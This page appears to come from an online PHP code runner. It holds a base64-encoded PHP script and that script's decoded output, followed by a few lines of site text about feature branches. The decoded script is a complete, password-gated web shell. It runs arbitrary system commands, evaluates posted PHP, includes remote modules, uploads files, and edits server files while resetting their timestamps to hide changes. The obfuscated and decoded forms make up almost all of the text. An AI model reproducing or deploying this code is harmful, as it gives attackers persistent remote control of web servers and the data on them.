<?php echo(base64_decode('ICBAc2V0X3RpbWVfbGltaXQoMCk7DQogIEBlcnJvcl9yZXBvcnRpbmcoMik7DQogIEBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQogIEBpbmlfc2V0KCd1cGxvYWRfbWF4X2ZpbGVzaXplJywxMDQ4NTc2MCk7DQogIEBpbmlfc2V0KCdwb3N0X21heF9zaXplJywxMDQ4NTc2MCk7DQogIEBpbmlfc2V0KCdmaWxlX3VwbG9hZHMnLCB0cnVlKTsNCiAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJyx0cnVlKTsNCiAgQGluaV9zZXQoJ3JlZ2lzdGVyX2dsb2JhbHMnLHRydWUpOw0KICBAaW5pX3NldCgncmVnaXN0ZXJfbG9uZ19hcnJheXMnLHRydWUpOw0KICBAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJyxmYWxzZSk7DQogIEBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJyxmYWxzZSk7DQogIEBpbmlfc2V0KCdhbGxvd191cmxfZm9wZW4nLHRydWUpOw0KICAkc2FmZW1vZGU9QGluaV9nZXQoJ3NhZmVfbW9kZScpOw0KDQogICRtYWdpY19xdW90ZXM9MTsNCiAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKSkgJG1hZ2ljX3F1b3Rlcz1nZXRfbWFnaWNfcXVvdGVzX2dwYygpOw0KDQogICRwaHB2ZXIgPSBzdHJfcmVwbGFjZSgnLicsJycscGhwdmVyc2lvbigpKTsNCiAgaWYgKHN0cmxlbigkcGhwdmVyKTwzKSB3aGlsZSAoc3RybGVuKCRwaHB2ZXIpPDMpICRwaHB2ZXIuPScwJzsNCiAgaWYoaW50dmFsKCRwaHB2ZXIpIDwgNDEwKXsNCiAgICAkX1BPU1Q9JiRIVFRQX1BPU1RfVkFSUzsNCiAgICAkX0dFVD0mJEhUVFBfR0VUX1ZBUlM7DQogICAgJF9TRVJWRVI9JiRIVFRQX1NFUlZFUl9WQVJTOw0KICAgICRfQ09PS0lFPSYkSFRUUF9DT09LSUVfVkFSUzsNCiAgICAkX0ZJTEVTPSYkSFRUUF9QT1NUX0ZJTEVTOw0KICB9DQogIEBvYl9lbmRfY2xlYW4oKTsNCg0KICAkcHdfcGxzPSI8Zm9ybSBtZXRob2Q9cG9zdD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cHc+PC9mb3JtPiI7DQoNCiAgaWYgKGVtcHR5KCRfUE9TVFsncHcnXSkpIGV4aXQoJHB3X3Bscyk7DQogIGlmICghZW1wdHkoJF9QT1NUWydwdyddKSAmJiBtZDUoJF9QT1NUWydwdyddKSE9Jzc5YTI0OGRlMWIwMTAxY2JmYjRkMWE3YTYwZjZkNGE1JykgZXhpdCgkcHdfcGxzKTsNCg0KICAkcHc9IjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXB3IHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwdyddKS4iJz4iOw0KDQogIGlmICghZW1wdHkoJF9QT1NUWyd1c2Vtb2R1bGUnXSkpIGluY2x1ZGUoJF9QT1NUWyd1c2Vtb2R1bGUnXSk7DQoNCiAgJHdvcmtfZGlyID0gZ2V0Y3dkKCk7DQogIGlmIChzdHJwb3MoJHdvcmtfZGlyLCJcXCIpIT09ZmFsc2UpICR3b3JrX2Rpcj1zdHJfcmVwbGFjZSgiXFwiLCIvIiwkd29ya19kaXIpOw0KICBpZiAoc3RycG9zKHN1YnN0cigkd29ya19kaXIsMCw1KSwiOiIpIT09ZmFsc2UpICRvcz0id2luIjsNCiAgZWxzZSAkb3M9Im5peCI7DQogIGlmICghZW1wdHkoJF9QT1NUWydjZCddKSkgJGNkPXN0cmlwc2xhc2hlcygkX1BPU1RbJ2NkJ10pOw0KICBlbHNlICRjZCA9ICR3b3JrX2RpcjsNCg0KICBpZiAoaXNfZGlyKCRjZCkpIGNoZGlyKCRjZCk7DQoNCiAgJHJ1bj0oJG1hZ2ljX3F1b3Rlcyk/c3RyaXBzbGFzaGVzKCRfUE9TVFsncnVuJ10pOiRfUE9TVFsncnVuJ107DQogICRlZGl0PXN0cmlwc2xhc2hlcygkX1BPU1RbJ2VkaXQnXSk7DQogIGlmICghQGlzX2ZpbGUoJGVkaXQpKSAkZWRpdD0kY2Q7DQoNCiAgaWYgKCFlbXB0eSgkX1BPU1RbJ2V2YWwnXSkpIGV2YWwoKCRtYWdpY19xdW90ZXMpP3N0cmlwc2xhc2hlcygkX1BPU1RbJ2V2YWwnXSk6JF9QT1NUWydldmFsJ10pOw0KDQogIGlmICghZW1wdHkoJF9GSUxFU1sndXNlcmZpbGUnXVsndG1wX25hbWUnXSkgJiYgaXNfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyd1c2VyZmlsZSddWyd0bXBfbmFtZSddKSkgew0KICAgICR1cGxvYWRkaXIgPSBlcmVnX3JlcGxhY2UoJy8rJywgJy8nLCAkY2QuIi8iKTsNCiAgICAkdXBsb2FkZmlsZSA9ICR1cGxvYWRkaXIuYmFzZW5hbWUoJF9GSUxFU1sndXNlcmZpbGUnXVsnbmFtZSddKTsNCiAgICBtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1sndXNlcmZpbGUnXVsndG1wX25hbWUnXSwgJHVwbG9hZGZpbGUpOw0KICB9DQoNCiAgaWYgKGlzc2V0KCRfUE9TVFsnc2F2ZSddKSkgew0KCWlmICgkbWFnaWNfcXVvdGVzKSAkY29uc29sZSA9IHN0cmlwc2xhc2hlcygkX1BPU1RbJ2NvbnNvbGUnXSk7DQoJZWxzZSAkY29uc29sZSA9ICRfUE9TVFsnY29uc29sZSddOw0KICAgICR0aW1lID0gZmlsZW10aW1lKCRlZGl0KTsNCiAgICAkZj1AZm9wZW4oJGVkaXQsInciKTsNCiAgICBpZiAoJGYpIHsNCiAgICAgIGZ3cml0ZSgkZiwkY29uc29sZSk7DQogICAgICBmY2xvc2UoJGYpOw0KICAgICAgdG91Y2goJGVkaXQsJHRpbWUpOw0KICAgICAgJGVkaXQ9JGNkOw0KICAgIH0NCiAgfQ0KDQogIGlmICghZW1wdHkoJGVkaXQpICYmIGZpbGVfZXhpc3RzKCRlZGl0KSAmJiBpc19maWxlKCRlZGl0KSAmJiAkZWRpdCE9PSRjZCkgew0KCWlmICgkb3M9PSd3aW4nP2Nhbl93cml0ZSgkZWRpdCk6aXNfd3JpdGFibGUoJGVkaXQpKSAkbmVlZF9zYXZlX2J1dHRvbj10cnVlOw0KICAgICRmPUBmb3BlbigkZWRpdCwiciIpOw0KICAgIGlmICgkZikgew0KICAgICAgaWYgKGZpbGVzaXplKCRlZGl0KT4wKSAkcmV0dmFsID0gQGZyZWFkKCRmLGZpbGVzaXplKCRlZGl0KSk7DQogICAgICBlbHNlICRyZXR2YWwgPSAiW2VtcHR5XSI7DQogICAgICBmY2xvc2UoJGYpOw0KICAgIH0gZWxzZSB7DQogICAgICAkcmV0dmFsID0gIkNhbid0IG9wZW4gZmlsZTogJGVkaXRcbiI7DQogICAgfQ0KICB9IGVsc2VpZiAoIWVtcHR5KCRydW4pKSB7DQogICAgJGNtZCA9ICRydW47DQogICAgJHJldHZhbCA9IG1hZ2ljX2V4ZWN1dGUoJGNtZCk7DQogIH0gZWxzZWlmIChmaWxlX2V4aXN0cygkY2QpICYmIEBpc19kaXIoJGNkKSkgew0KDQoJaWYgKCEkc2FmZW1vZGUpDQoJew0KCQlpZiAoJG9zPT0nd2luJykNCgkJew0KDQoJCSAgJGNtZCA9ICJkaXIgIi5zdHJfcmVwbGFjZSgiLyIsIlxcIiwkY2QpOw0KCQkgICRyZXR2YWwgPSBtYWdpY19leGVjdXRlKCRjbWQpOw0KCQl9DQoJICAgIGVsc2UNCgkJew0KCQkgICRjbWQgPSAibHMgLWxhIFwiJGNkXCIiOw0KCQkgICRyZXR2YWwgPSBtYWdpY19leGVjdXRlKCRjbWQpOw0KCQl9DQoJfQ0KDQogICAgaWYgKGVtcHR5KCRyZXR2YWwpKQ0KCXsNCgkJJGRpcj0kY2Q7DQoJCWlmKCRjdXJkaXIgPSBAb3BlbmRpcigkZGlyKSkgew0KCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoJGN1cmRpcikpIHsNCgkJICBpZigkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgew0KCQkJJHNyY2ZpbGUgPSAkZGlyIC4gJy8nIC4gJGZpbGU7DQoJCQlpZihpc19maWxlKCRzcmNmaWxlKSkgew0KCQkJCWlmICgkb3M9PSd3aW4nP2Nhbl93cml0ZSgkc3JjZmlsZSk6aXNfd3JpdGFibGUoJHNyY2ZpbGUpKSAkcmV0dmFsIC49ICIrKyAiLiRmaWxlLiJcbiI7DQoJCQkJZWxzZSAkcmV0dmFsIC49ICItLSAiLiRmaWxlLiJcbiI7DQoJCQl9IGVsc2VpZihpc19kaXIoJHNyY2ZpbGUpKSB7DQoJCQkJaWYgKCRvcz09J3dpbic/Y2FuX3dyaXRlKCRzcmNmaWxlKTppc193cml0YWJsZSgkc3JjZmlsZSkpICRyZXR2YWwgLj0gImQrICIuJGZpbGUuIlxuIjsNCgkJCQllbHNlICRyZXR2YWwgLj0gImQtICIuJGZpbGUuIlxuIjsNCgkJCX0NCgkJICB9DQoJCX0NCgkJY2xvc2VkaXIoJGN1cmRpcik7DQoJCX0gZWxzZSAkcmV0dmFsID0gIkNhbnQgb3BlbiBkaXJlY3RvcnlcbiI7DQoJfQ0KDQoNCiAgfQ0KDQoJJGlkX2V4ZWMgPSAiY2FudCBnZXQgdWlkLGdpZCI7DQoNCglpZiAoJHRtcCA9IG1hZ2ljX2V4ZWN1dGUoImlkIikpICRpZF9leGVjID0gJHRtcDsNCgllbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z2lkJykpDQoJew0KCQkkdWlkcyAgPSBAcG9zaXhfZ2V0bG9naW4oKTsNCgkJJGV1aWRzID0gQHBvc2l4X2dldGxvZ2luKCk7DQoJCSR1aWQgICA9IEBwb3NpeF9nZXR1aWQoKTsNCgkJJGV1aWQgID0gQHBvc2l4X2dldGV1aWQoKTsNCgkJJGdpZCAgID0gQHBvc2l4X2dldGdpZCgpOw0KCQlpZiAoIWVtcHR5KCR1aWQpKSAkaWRfZXhlYyA9ICJVc2VyOiB1aWQ9JHVpZHMoJHVpZCkgZXVpZD0kZXVpZCgkZXVpZCkgZ2lkPSRnaWQoJGdpZCkiOw0KCX0NCg0KICBlY2hvICc8SFRNTD48Qk9EWSBvbmxvYWQ9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnY2Rmb2N1c1wnKS5mb2N1cygpOyI+PEhSPic7DQogIGVjaG8gZGF0ZSgiZC5tLlkgaDppIEEiKS4iIE9TOiRvcyAkaWRfZXhlYyBzYWZlX21vZGU9JHNhZmVtb2RlIjsNCiAgZWNobyAiPEhSPiI7DQogIGlmIChpc3NldCgkbmVlZF9zYXZlX2J1dHRvbikpIGVjaG8gIjxGT1JNIG1ldGhvZD1wb3N0PiI7DQogIGVjaG8gJzxURVhUQVJFQSBpZD0iY29uc29sZSIgbmFtZT0iY29uc29sZSIgc3R5bGU9IndpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4OyI+JzsNCiAgaWYgKGlzc2V0KCRyZXR2YWwpKSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHJldHZhbCk7DQogIGVjaG8gJzwvVEVYVEFSRUE+JzsNCiAgaWYgKGlzc2V0KCRuZWVkX3NhdmVfYnV0dG9uKSkgZWNobyAiJHB3PElOUFVUIHR5cGU9J2hpZGRlbicgbmFtZT0nY2QnIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJGNkKS4iJz48SU5QVVQgdHlwZT0naGlkZGVuJyBuYW1lPSdlZGl0JyB2YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRlZGl0KS4iJz48SU5QVVQgdHlwZT1zdWJtaXQgbmFtZT1zYXZlIHZhbHVlPSdTYXZlJz48L0ZPUk0+IjsNCiAgZWNobyAiPEhSPjxGT1JNIG1ldGhvZD1cIlBPU1RcIj4kcHciOw0KICBlY2hvICI8dGFibGU+PHRyPjx0ZD5kaXI6PC90ZD48dGQgd2lkdGg9XCIxMDAlXCI+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgc3R5bGU9XCJ3aWR0aDoxMDAlO1wiIGlkPVwiY2Rmb2N1c1wiIG5hbWU9XCJjZFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRjZCkuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICI8dHI+PHRkPnJ1bjo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzdHlsZT1cIndpZHRoOjEwMCU7XCIgbmFtZT1cInJ1blwiIHZhbHVlPVwiXCI+PC90ZD48L3RyPiIuDQogICAgICAgIjx0cj48dGQ+ZWRpdDo8L3RkPjx0ZD48aW5wdXQgdHlwZT1cInRleHRcIiBzdHlsZT1cIndpZHRoOjEwMCU7XCIgbmFtZT1cImVkaXRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZWRpdCkuIlwiPjwvdGQ+PC90cj4iLg0KICAgICAgICI8L3RhYmxlPiIuDQogICAgICAgIjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCJPS1wiPjwvRk9STT4iOw0KDQogIGVjaG8gIjxocj48Zm9ybSBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIG1ldGhvZD1cInBvc3RcIj4kcHc8SU5QVVQgdHlwZT0naGlkZGVuJyBuYW1lPSdjZCcgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkY2QpLiInPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIk1BWF9GSUxFX1NJWkVcIiB2YWx1ZT1cIjE1MDAwMDAwXCIgLz51cGxvYWQ6IDxpbnB1dCBuYW1lPVwidXNlcmZpbGVcIiB0eXBlPVwiZmlsZVwiIC8+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cInVwbG9hZFwiIC8+PC9mb3JtPjxocj4iOw0KICBlY2hvICI8Zm9ybSBtZXRob2Q9cG9zdD4kcHc8dGV4dGFyZWEgc3R5bGU9XCJ3aWR0aDoxMDAlO2hlaWdodDoxMDBweDtcIiAgbmFtZT0nZXZhbCcgaWQ9J2V2YWwnPnBocGluZm8oKTs8L3RleHRhcmVhPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXZhbFBIUCc+PC9mb3JtPjxocj4iOw0KICBlY2hvICJ1c2UgbW9kdWxlOiA8Zm9ybSBtZXRob2Q9cG9zdD4kcHc8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlbW9kdWxlJz4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J3VzZSc+PC9mb3JtPjxocj4iOw0KICBlY2hvICI8L0JPRFk+PC9IVE1MPiI7DQoNCiAgZXhpdCgpOw0KDQoNCiAgZnVuY3Rpb24gY2FuX3dyaXRlKCRmaWxlKSB7aWYoZmlsZV9leGlzdHMoJGZpbGUpKXtpZiAoaXNfZmlsZSgkZmlsZSkpIHskZj1AZm9wZW4oJGZpbGUsImErIik7aWYoJGYpe2ZjbG9zZSgkZik7cmV0dXJuIHRydWU7fX1lbHNlaWYgKGlzX2RpcigkZmlsZSkpIHtpZiAoJGZpbGVbc3RybGVuKCRmaWxlKS0xXSE9Jy8nKSAkZmlsZS49Jy8nOyR0ZmlsZSA9ICRmaWxlLiJ0ZXN0eHh4dGVzdCI7aWYgKEB0b3VjaCgkdGZpbGUpKXt1bmxpbmsoJHRmaWxlKTtyZXR1cm4gdHJ1ZTt9fX1yZXR1cm4gZmFsc2U7fQ0KDQoJZnVuY3Rpb24gbWFnaWNfZXhlY3V0ZSgkY21kKQ0KCXsNCgkJJHJlcz1mYWxzZTsNCgkJaWYgKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQ0KCQl7DQoJCQlAZXhlYygkY21kLCRyZXMpOw0KCQkJJHJlcyA9IGpvaW4oIlxuIiwkcmVzKTsNCgkJfQ0KCQllbHNlDQoJCWlmIChmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkNCgkJCSRyZXMgPSBAc2hlbGxfZXhlYygkY21kKTsNCgkJZWxzZQ0KCQlpZiAoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkNCgkJew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAc3lzdGVtKCRjbWQpOw0KCQkJJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCgkJCUBvYl9lbmRfY2xlYW4oKTsNCgkJfQ0KCQllbHNlDQoJCWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkNCgkJew0KCQkJQG9iX3N0YXJ0KCk7DQoJCQlAcGFzc3RocnUoJGNtZCk7DQoJCQkkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KCQkJQG9iX2VuZF9jbGVhbigpOw0KCQl9DQoJCWVsc2UNCgkJaWYgKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY21kLCJyIikpKQ0KCQl7DQoJCQkkcmVzID0gIiI7DQoJCQl3aGlsZSghQGZlb2YoJGYpKSB7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9DQoJCQlAcGNsb3NlKCRmKTsNCgkJfQ0KCQlyZXR1cm4gJHJlczsNCgl9DQo='));?>
- Output for git.master, git.master_jit, rfc.property-hooks
- @set_time_limit(0);
@error_reporting(2);
@set_magic_quotes_runtime(0);
@ini_set('upload_max_filesize',10485760);
@ini_set('post_max_size',10485760);
@ini_set('file_uploads', true);
@ini_set('display_errors',true);
@ini_set('register_globals',true);
@ini_set('register_long_arrays',true);
@ini_set('max_execution_time',false);
@ini_set('output_buffering',false);
@ini_set('allow_url_fopen',true);
$safemode=@ini_get('safe_mode');
$magic_quotes=1;
if (function_exists('get_magic_quotes_gpc')) $magic_quotes=get_magic_quotes_gpc();
$phpver = str_replace('.','',phpversion());
if (strlen($phpver)<3) while (strlen($phpver)<3) $phpver.='0';
if(intval($phpver) < 410){
$_POST=&$HTTP_POST_VARS;
$_GET=&$HTTP_GET_VARS;
$_SERVER=&$HTTP_SERVER_VARS;
$_COOKIE=&$HTTP_COOKIE_VARS;
$_FILES=&$HTTP_POST_FILES;
}
@ob_end_clean();
$pw_pls="<form method=post><input type=text name=pw></form>";
if (empty($_POST['pw'])) exit($pw_pls);
if (!empty($_POST['pw']) && md5($_POST['pw'])!='79a248de1b0101cbfb4d1a7a60f6d4a5') exit($pw_pls);
$pw="<input type=hidden name=pw value='".htmlspecialchars($_POST['pw'])."'>";
if (!empty($_POST['usemodule'])) include($_POST['usemodule']);
$work_dir = getcwd();
if (strpos($work_dir,"\\")!==false) $work_dir=str_replace("\\","/",$work_dir);
if (strpos(substr($work_dir,0,5),":")!==false) $os="win";
else $os="nix";
if (!empty($_POST['cd'])) $cd=stripslashes($_POST['cd']);
else $cd = $work_dir;
if (is_dir($cd)) chdir($cd);
$run=($magic_quotes)?stripslashes($_POST['run']):$_POST['run'];
$edit=stripslashes($_POST['edit']);
if (!@is_file($edit)) $edit=$cd;
if (!empty($_POST['eval'])) eval(($magic_quotes)?stripslashes($_POST['eval']):$_POST['eval']);
if (!empty($_FILES['userfile']['tmp_name']) && is_uploaded_file($_FILES['userfile']['tmp_name'])) {
$uploaddir = ereg_replace('/+', '/', $cd."/");
$uploadfile = $uploaddir.basename($_FILES['userfile']['name']);
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile);
}
if (isset($_POST['save'])) {
if ($magic_quotes) $console = stripslashes($_POST['console']);
else $console = $_POST['console'];
$time = filemtime($edit);
$f=@fopen($edit,"w");
if ($f) {
fwrite($f,$console);
fclose($f);
touch($edit,$time);
$edit=$cd;
}
}
if (!empty($edit) && file_exists($edit) && is_file($edit) && $edit!==$cd) {
if ($os=='win'?can_write($edit):is_writable($edit)) $need_save_button=true;
$f=@fopen($edit,"r");
if ($f) {
if (filesize($edit)>0) $retval = @fread($f,filesize($edit));
else $retval = "[empty]";
fclose($f);
} else {
$retval = "Can't open file: $edit\n";
}
} elseif (!empty($run)) {
$cmd = $run;
$retval = magic_execute($cmd);
} elseif (file_exists($cd) && @is_dir($cd)) {
if (!$safemode)
{
if ($os=='win')
{
$cmd = "dir ".str_replace("/","\\",$cd);
$retval = magic_execute($cmd);
}
else
{
$cmd = "ls -la \"$cd\"";
$retval = magic_execute($cmd);
}
}
if (empty($retval))
{
$dir=$cd;
if($curdir = @opendir($dir)) {
while($file = readdir($curdir)) {
if($file != '.' && $file != '..') {
$srcfile = $dir . '/' . $file;
if(is_file($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "++ ".$file."\n";
else $retval .= "-- ".$file."\n";
} elseif(is_dir($srcfile)) {
if ($os=='win'?can_write($srcfile):is_writable($srcfile)) $retval .= "d+ ".$file."\n";
else $retval .= "d- ".$file."\n";
}
}
}
closedir($curdir);
} else $retval = "Cant open directory\n";
}
}
$id_exec = "cant get uid,gid";
if ($tmp = magic_execute("id")) $id_exec = $tmp;
elseif (function_exists('posix_getgid'))
{
$uids = @posix_getlogin();
$euids = @posix_getlogin();
$uid = @posix_getuid();
$euid = @posix_geteuid();
$gid = @posix_getgid();
if (!empty($uid)) $id_exec = "User: uid=$uids($uid) euid=$euid($euid) gid=$gid($gid)";
}
echo '<HTML><BODY onload="document.getElementById(\'cdfocus\').focus();"><HR>';
echo date("d.m.Y h:i A")." OS:$os $id_exec safe_mode=$safemode";
echo "<HR>";
if (isset($need_save_button)) echo "<FORM method=post>";
echo '<TEXTAREA id="console" name="console" style="width:100%;height:400px;">';
if (isset($retval)) echo htmlspecialchars($retval);
echo '</TEXTAREA>';
if (isset($need_save_button)) echo "$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><INPUT type='hidden' name='edit' value='".htmlspecialchars($edit)."'><INPUT type=submit name=save value='Save'></FORM>";
echo "<HR><FORM method=\"POST\">$pw";
echo "<table><tr><td>dir:</td><td width=\"100%\"><input type=\"text\" style=\"width:100%;\" id=\"cdfocus\" name=\"cd\" value=\"".htmlspecialchars($cd)."\"></td></tr>".
"<tr><td>run:</td><td><input type=\"text\" style=\"width:100%;\" name=\"run\" value=\"\"></td></tr>".
"<tr><td>edit:</td><td><input type=\"text\" style=\"width:100%;\" name=\"edit\" value=\"".htmlspecialchars($edit)."\"></td></tr>".
"</table>".
"<input type=\"submit\" value=\"OK\"></FORM>";
echo "<hr><form enctype=\"multipart/form-data\" method=\"post\">$pw<INPUT type='hidden' name='cd' value='".htmlspecialchars($cd)."'><input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"15000000\" />upload: <input name=\"userfile\" type=\"file\" /><input type=\"submit\" value=\"upload\" /></form><hr>";
echo "<form method=post>$pw<textarea style=\"width:100%;height:100px;\" name='eval' id='eval'>phpinfo();</textarea><input type=submit value='EvalPHP'></form><hr>";
echo "use module: <form method=post>$pw<input type='text' name='usemodule'> <input type=submit value='use'></form><hr>";
echo "</BODY></HTML>";
exit();
function can_write($file) {if(file_exists($file)){if (is_file($file)) {$f=@fopen($file,"a+");if($f){fclose($f);return true;}}elseif (is_dir($file)) {if ($file[strlen($file)-1]!='/') $file.='/';$tfile = $file."testxxxtest";if (@touch($tfile)){unlink($tfile);return true;}}}return false;}
function magic_execute($cmd)
{
$res=false;
if (function_exists('exec'))
{
@exec($cmd,$res);
$res = join("\n",$res);
}
else
if (function_exists('shell_exec'))
$res = @shell_exec($cmd);
else
if (function_exists('system'))
{
@ob_start();
@system($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if(function_exists('passthru'))
{
@ob_start();
@passthru($cmd);
$res = @ob_get_contents();
@ob_end_clean();
}
else
if (@is_resource($f = @popen($cmd,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
return $res;
}
This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.
Active branches
Archived branches
Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page
preferences:
34.61 ms | 417 KiB | 8 Q